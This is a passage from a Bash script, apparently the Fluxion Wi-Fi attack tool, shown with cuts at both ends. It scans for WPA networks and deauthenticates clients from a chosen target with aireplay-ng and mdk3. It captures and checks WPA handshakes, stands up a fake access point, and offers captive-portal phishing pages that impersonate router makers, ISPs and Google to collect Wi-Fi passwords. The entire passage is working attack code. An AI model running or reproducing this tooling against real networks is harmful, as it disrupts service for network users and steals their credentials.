BOTTOMRIGHT="-geometry 74x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 74x30-0+0" } function resC { TOPLEFT="-geometry 100x20+0+0" TOPRIGHT="-geometry 109x20-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 109x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 109x30-0+0" } function resD { TOPLEFT="-geometry 110x35+0+0" TOPRIGHT="-geometry 99x40-0+0" BOTTOMLEFT="-geometry 110x35+0-0" BOTTOMRIGHT="-geometry 99x30-0-0" TOPLEFTBIG="-geometry 110x72+0+0" TOPRIGHTBIG="-geometry 99x40-0+0" } function resE { TOPLEFT="-geometry 130x43+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 130x40+0-0" BOTTOMRIGHT="-geometry 132x35-0-0" TOPLEFTBIG="-geometry 130x85+0+0" TOPRIGHTBIG="-geometry 132x48-0+0" } function resF { TOPLEFT="-geometry 100x17+0+0" TOPRIGHT="-geometry 90x27-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 90x20-0-0" TOPLEFTBIG="-geometry 100x70+0+0" TOPRIGHTBIG="-geometry 90x27-0+0" } detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) ## A) 1024x600 ## B) 1024x768 ## C) 1280x768 ## D) 1280x1024 ## E) 1600x1200 case $detectedresolution in "1024x600" ) resA ;; "1024x768" ) resB ;; "1280x768" ) resC ;; "1366x768" ) resC ;; "1280x1024" ) resD ;; "1600x1200" ) resE ;; "1366x768" ) resF ;; * ) resA ;; esac language; setinterface } function language { iptables-save > $DUMP_PATH/iptables-rules conditional_clear if [ "$FLUX_AUTO" = "1" ];then source $WORK_DIR/language/en; setinterface else while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Select your language" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" English " echo -e " "$red"["$yellow"2"$red"]"$transparent" German " echo -e " "$red"["$yellow"3"$red"]"$transparent" Romanian " echo -e " "$red"["$yellow"4"$red"]"$transparent" Turkish " echo -e " "$red"["$yellow"5"$red"]"$transparent" Spanish " echo -e " "$red"["$yellow"6"$red"]"$transparent" Chinese " echo -e " "$red"["$yellow"7"$red"]"$transparent" Italian " echo -e " "$red"["$yellow"8"$red"]"$transparent" Czech " echo -e " "$red"["$yellow"9"$red"]"$transparent" Greek " echo -e " "$red"["$yellow"10"$red"]"$transparent" French " echo -e " "$red"["$yellow"11"$red"]"$transparent" Slovenian " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) source $WORK_DIR/language/en; break;; 2 ) source $WORK_DIR/language/ger; break;; 3 ) source $WORK_DIR/language/ro; break;; 4 ) source $WORK_DIR/language/tu; break;; 5 ) source $WORK_DIR/language/esp; break;; 6 ) source $WORK_DIR/language/ch; break;; 7 ) source $WORK_DIR/language/it; break;; 8 ) source $WORK_DIR/language/cz break;; 9 ) source $WORK_DIR/language/gr; break;; 10 ) source $WORK_DIR/language/fr; break;; 11 ) source $WORK_DIR/language/svn; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose Interface function setinterface { conditional_clear top #unblock interfaces rfkill unblock all # Collect all interfaces in montitor mode & stop all KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` for monkill in ${KILLMONITOR[@]}; do airmon-ng stop $monkill >$flux_output_device echo -n "$monkill, " done # Create a variable with the list of physical network interfaces readarray -t wirelessifaces < <(./lib/airmon/airmon.sh |grep "-" | cut -d- -f1) INTERFACESNUMBER=`./lib/airmon/airmon.sh | grep -c "-"` if [ "$INTERFACESNUMBER" -gt "0" ]; then if [ "$INTERFACESNUMBER" -eq "1" ]; then PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}') else echo $header_setinterface echo i=0 for line in "${wirelessifaces[@]}"; do i=$(($i+1)) wirelessifaces[$i]=$line echo -e " "$red"["$yellow"$i"$red"]"$transparent" $line" done if [ "$FLUX_AUTO" = "1" ];then line="1" else echo echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read line fi PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') fi if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then conditional_clear top setinterface fi readarray -t naggysoftware < <(./lib/airmon/airmon.sh check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') WIFIDRIVER=$(./lib/airmon/airmon.sh | grep "$PREWIFI" | awk '{print($(NF-2))}') if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 fi if [ $KEEP_NETWORK = 0 ]; then for nagger in "${naggysoftware[@]}"; do killall "$nagger" &>$flux_output_device done sleep 0.5 fi if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 sleep 0.5 fi # Select Wifi Interface select PREWIFI in $INTERFACES; do break; done WIFIMONITOR=$(./lib/airmon/airmon.sh start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) WIFI_MONITOR=$WIFIMONITOR WIFI=$PREWIFI #No wireless cards else echo $setinterface_error sleep 5 exitmode fi ghost } # Check files function ghost { conditional_clear CSVDB=dump-01.csv rm -rf $DUMP_PATH/* choosescan selection } # Select channel function choosescan { if [ "$FLUX_AUTO" = "1" ];then Scan else conditional_clear while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $choosescan_option_1 " echo -e " "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2 " echo -e " "$red"["$yellow"3"$red"]"$red" $general_back " $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) Scan ; break ;; 2 ) Scanchan ; break ;; 3 ) setinterface; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose your channel if you choose option 2 before function Scanchan { conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan " echo " " echo -e " $scanchan_option_1 "$blue"6"$transparent" " echo -e " $scanchan_option_2 "$blue"1-5"$transparent" " echo -e " $scanchan_option_2 "$blue"1,2,5-7,11"$transparent" " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read channel_number set -- ${channel_number} conditional_clear rm -rf $DUMP_PATH/dump* xterm $HOLD -title "$header_scanchan [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR --ignore-negative-one } # Scans the entire network function Scan { conditional_clear rm -rf $DUMP_PATH/dump* if [ "$FLUX_AUTO" = "1" ];then sleep 30 && killall xterm & fi xterm $HOLD -title "$header_scan" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump -a $WIFI_MONITOR --ignore-negative-one } # Choose a network function selection { conditional_clear top LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` if [ "$LINEAS_WIFIS_CSV" = "" ];then conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Error: your wireless card isn't supported " echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":" read back if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then clear && exitmode elif [ $back = 'y' ] && [ $back = 'Y' ] && [ $back = 'yes' ] && [ $back = 'Yes' ];then clear && setinterface fi fi if [ $LINEAS_WIFIS_CSV -le 3 ]; then ghost && break fi fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` fluxionap=`expr $fluxionap - 1` head -n $fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv tail -n +$fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv echo " WIFI LIST " echo "" echo " ID MAC CHAN SECU PWR ESSID" echo "" i=0 while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do longueur=${#MAC} PRIVACY=$(echo $PRIVACY| tr -d "^ ") PRIVACY=${PRIVACY:0:4} if [ $longueur -ge 17 ]; then i=$(($i+1)) POWER=`expr $POWER + 100` CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` if [ "$CLIENTE" != "" ]; then CLIENTE="*" echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t ""$red"$POWER%"\t""$red "$ESSID""$transparent"" else echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" fi aidlength=$IDLENGTH assid[$i]=$ESSID achannel[$i]=$CHANNEL amac[$i]=$MAC aprivacy[$i]=$PRIVACY aspeed[$i]=$SPEED fi done < $DUMP_PATH/dump-02.csv # Select the first network if you select the first network if [ "$FLUX_AUTO" = "1" ];then choice=1 else echo echo -e ""$blue "("$white"*"$blue") $selection_1"$transparent"" echo "" echo -e " $selection_2" echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read choice fi if [[ $choice -eq "r" ]]; then ghost fi idlength=${aidlength[$choice]} ssid=${assid[$choice]} channel=$(echo ${achannel[$choice]}|tr -d [:space:]) mac=${amac[$choice]} privacy=${aprivacy[$choice]} speed=${aspeed[$choice]} Host_IDL=$idlength Host_SPEED=$speed Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#ssid} fin=$(($acouper-idlength)) Host_SSID=${ssid:1:fin} Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\[//g;s/\]//g' | sed 's/\://g;s/\://g' | sed 's/\*//g;s/\*//g' | sed 's/(//g' | sed 's/)//g'` conditional_clear askAP } # FakeAP function askAP { DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` if [ $DIGITOS_WIFIS_CSV -le 15 ]; then selection && break fi if [ "$(echo $WIFIDRIVER | grep 8187)" ]; then fakeapmode="airbase-ng" askauth fi if [ "$FLUX_AUTO" = "1" ];then fakeapmode="hostapd"; authmode="handshake"; handshakelocation else top while true; do infoap echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askAP" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askAP_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askAP_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) selection; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } # Test Passwords / airbase-ng function askauth { if [ "$FLUX_AUTO" = "1" ];then authmode="handshake"; handshakelocation else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askauth" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askauth_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askauth_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) authmode="handshake"; handshakelocation; break ;; 2 ) authmode="wpa_supplicant"; webinterface; break ;; 3 ) askAP; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } function handshakelocation { conditional_clear top infoap if [ -f "/root/handshakes/$Host_SSID2-$Host_MAC.cap" ]; then echo -e "Handshake $yellow$Host_SSID-$Host_MAC.cap$transparent found in /root/handshakes." echo -e "${red}Do you want to use this file? (y/N)" echo -ne "$transparent" if [ "$FLUX_AUTO" = "0" ];then read usehandshakefile fi if [ "$usehandshakefile" = "y" -o "$usehandshakefile" = "Y" ]; then handshakeloc="/root/handshakes/$Host_SSID2-$Host_MAC.cap" fi fi if [ "$handshakeloc" = "" ]; then echo echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)" echo -e "Press ${yellow}ENTER$transparent to skip" echo echo -ne "Path: " if [ "$FLUX_AUTO" = "0" ];then read handshakeloc fi fi if [ "$handshakeloc" = "" ]; then deauthforce else if [ -f "$handshakeloc" ]; then pyrit -r "$handshakeloc" analyze &>$flux_output_device pyrit_broken=$? if [ $pyrit_broken = 0 ]; then Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') else Host_SSID_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $3}') Host_MAC_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $2}') fi if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then if [ $pyrit_broken = 0 ] && pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo -e $yellow "Corrupted handshake" $transparent echo sleep 2 echo "Do you want to try aicrack-ng instead of pyrit to verify the handshake? [ENTER = NO]" echo read handshakeloc_aircrack echo -ne "$transparent" if [ "$handshakeloc_aircrack" = "" ]; then handshakelocation else if timeout -s SIGKILL 3 aircrack-ng $handshakeloc | grep -q "1 handshake"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo "Corrupted handshake" sleep 2 handshakelocation fi fi fi else echo -e "${red}$general_error_1$transparent!" echo echo -e "File ${red}MAC$transparent" readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") for i in "${lista_loc[@]}"; do echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" done echo -e "Host ${green}MAC$transparent" echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" sleep 7 handshakelocation fi else echo -e "File ${red}NOT$transparent present" sleep 2 handshakelocation fi fi } function deauthforce { if [ "$FLUX_AUTO" = "1" ];then handshakemode="normal"; askclientsel else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthforce" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" pyrit" $transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" $deauthforce_option_1" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) handshakemode="normal"; askclientsel; break ;; 2 ) handshakemode="hard"; askclientsel; break ;; 3 ) askauth; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } ############################################### < MENU > ############################################### ############################################# < HANDSHAKE > ############################################ # Type of deauthentication to be performed function askclientsel { if [ "$FLUX_AUTO" = "1" ];then deauth all else conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Deauth all"$transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" Deauth all [mdk3]" echo -e " "$red"["$yellow"3"$red"]"$transparent" Deauth target " echo -e " "$red"["$yellow"4"$red"]"$transparent" Rescan networks " echo -e " "$red"["$yellow"5"$red"]"$transparent" Exit" echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) deauth all; break ;; 2 ) deauth mdk3; break ;; 3 ) deauth esp; break ;; 4 ) killall airodump-ng &>$flux_output_device; ghost; break;; 5 ) exitmode; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # function deauth { conditional_clear iwconfig $WIFI_MONITOR channel $Host_CHAN case $1 in all ) DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv ;; mdk3 ) DEAUTH=deauthmdk3 capture & $DEAUTH & CSVDB=$Host_MAC-01.csv ;; esp ) DEAUTH=deauthesp HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` if [ $LINEAS_CLIENTES -le 5 ]; then DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv deauth fi capture for CLIENT in $HOST; do Client_MAC=`echo ${CLIENT:0:17}` deauthesp done $DEAUTH CSVDB=$Host_MAC-01.csv ;; esac deauthMENU } function deauthMENU { if [ "$FLUX_AUTO" = "1" ];then while true;do checkhandshake && sleep 5 done else while true; do conditional_clear clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU " echo echo -e "Status handshake: $Handshake_statuscheck" echo echo -e " "$red"["$yellow"1"$red"]"$grey" $deauthMENU_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $general_back " echo -e " "$red"["$yellow"3"$red"]"$transparent" Select another network" echo -e " "$red"["$yellow"4"$red"]"$transparent" Exit" echo -n ' #> ' read yn case $yn in 1 ) checkhandshake;; 2 ) conditional_clear; killall xterm; askclientsel; break;; 3 ) killall airodump-ng mdk3 aireplay-ng xterm &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; killall xterm; selection; break ;; 4 ) exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # Capture all function capture { conditional_clear if ! ps -A | grep -q airodump-ng; then rm -rf $DUMP_PATH/$Host_MAC* xterm $HOLD -title "Capturing data on channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR --ignore-negative-one & fi } # Check the handshake before continuing function checkhandshake { if [ "$handshakemode" = "normal" ]; then if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device wpaclean $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device certssl i=2 break else Handshake_statuscheck="${red}Not_Found$transparent" fi elif [ "$handshakemode" = "hard" ]; then pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap strip &>$flux_output_device certssl i=2 break else if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then Handshake_statuscheck="${yellow}Corrupted$transparent" else Handshake_statuscheck="${red}Not_found$transparent" fi fi rm $DUMP_PATH/test.cap &>$flux_output_device fi } ############################################# < HANDSHAKE > ############################################ function certssl { # Test if the ssl certificate is generated correcly if there is any if [ -f $DUMP_PATH/server.pem ]; then if [ -s $DUMP_PATH/server.pem ]; then webinterface break else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true;do conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" Certificate invalid or not present, please choose an option" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSL certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl;break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true; do conditional_clear top echo " " echo " Certificate invalid or not present, please choice" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSl certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl; break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi } # Create Self-Signed SSL Certificate function creassl { xterm -title "Create Self-Signed SSL Certificate" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout /$DUMP_PATH/server.pem -out /$DUMP_PATH/server.pem # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html certssl } ############################################# < ATAQUE > ############################################ # Select attack strategie that will be used function webinterface { chmod 400 $DUMP_PATH/server.pem if [ "$FLUX_AUTO" = "1" ];then matartodo; ConnectionRESET; selection else while true; do conditional_clear top infoap echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_webinterface" echo echo -e " "$red"["$yellow"1"$red"]"$grey" Web Interface" echo -e " "$red"["$yellow"2"$red"]"$transparent" \e[1;31mExit"$transparent"" echo echo -n "#? " read yn case $yn in 1 ) matartodo; ConnectionRESET; selection; break;; 2 ) matartodo; exitmode; break;; esac done fi } function ConnectionRESET { if [ "$FLUX_AUTO" = "1" ];then webconf=1 else while true; do conditional_clear top infoap n=1 echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_ConnectionRESET" echo echo -e " "$red"["$yellow"$n"$red"]"$transparent" English [ENG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" German [GER] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Russian [RUS] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Italian [IT] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Spanish [ESP] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [POR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Chinese [CN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" French [FR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Turkish [TR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Romanian [RO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hungarian [HU] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arabic [ARA] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Greek [GR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Czech [CZ] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Norwegian [NO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Bulgarian [BG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Serbian [SRB] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Polish [PL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Indonesian [ID] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Dutch [NL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Danish [DAN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hebrew [HE] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Thai [TH] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [BR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Slovenian [SVN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Belkin [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Huawei [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Verizon [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arris [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Vodafone [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" KPN [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo2016 [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_ENG[ENG] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" GENEXIS_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Netgear[Login-Netgear] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Xfinity[Login-Xfinity] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Telekom ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Google";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" MOVISTAR [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent"" echo echo -n "#? " read webconf if [ "$webconf" = "1" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ENG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ENG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ENG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ENG NEUTRA break elif [ "$webconf" = "2" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER DIALOG_WEB_OK=$DIALOG_WEB_OK_GER DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GER DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GER DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GER DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GER NEUTRA break elif [ "$webconf" = "3" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RUS DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RUS DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RUS DIALOG_WEB_OK=$DIALOG_WEB_OK_RUS DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RUS DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RUS DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RUS 